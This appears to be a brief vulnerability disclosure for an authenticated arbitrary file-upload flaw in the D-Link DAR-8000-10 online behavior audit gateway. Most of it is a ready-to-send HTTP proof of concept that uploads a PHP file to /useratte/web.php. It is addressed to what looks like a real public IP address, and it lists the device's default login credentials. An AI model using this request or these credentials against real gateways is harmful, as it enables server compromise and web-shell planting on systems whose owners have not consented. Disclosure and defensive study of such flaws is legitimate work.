The full version of the D-LINK DAR-8000-10 series online behavior audit gateway has a file upload vulnerability. Attackers can exploit vulnerabilities to gain server privileges or cause business impact on the system.
official： http://www.dlink.com.cn/
version:DAR-8000-10 DAR V31R02B1413C
Vulnerability Path ：/useratte/web.php
Log in to the system using the default password：test/admin@123
POC：
POST /useratte/web.php? HTTP/1.1
Host: 59.60.19.174:8443
Cookie: PHPSESSID=eb22543a6a7b4ffd10816d515b505f7f
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 598
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream
<?php phpinfo()?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"
import
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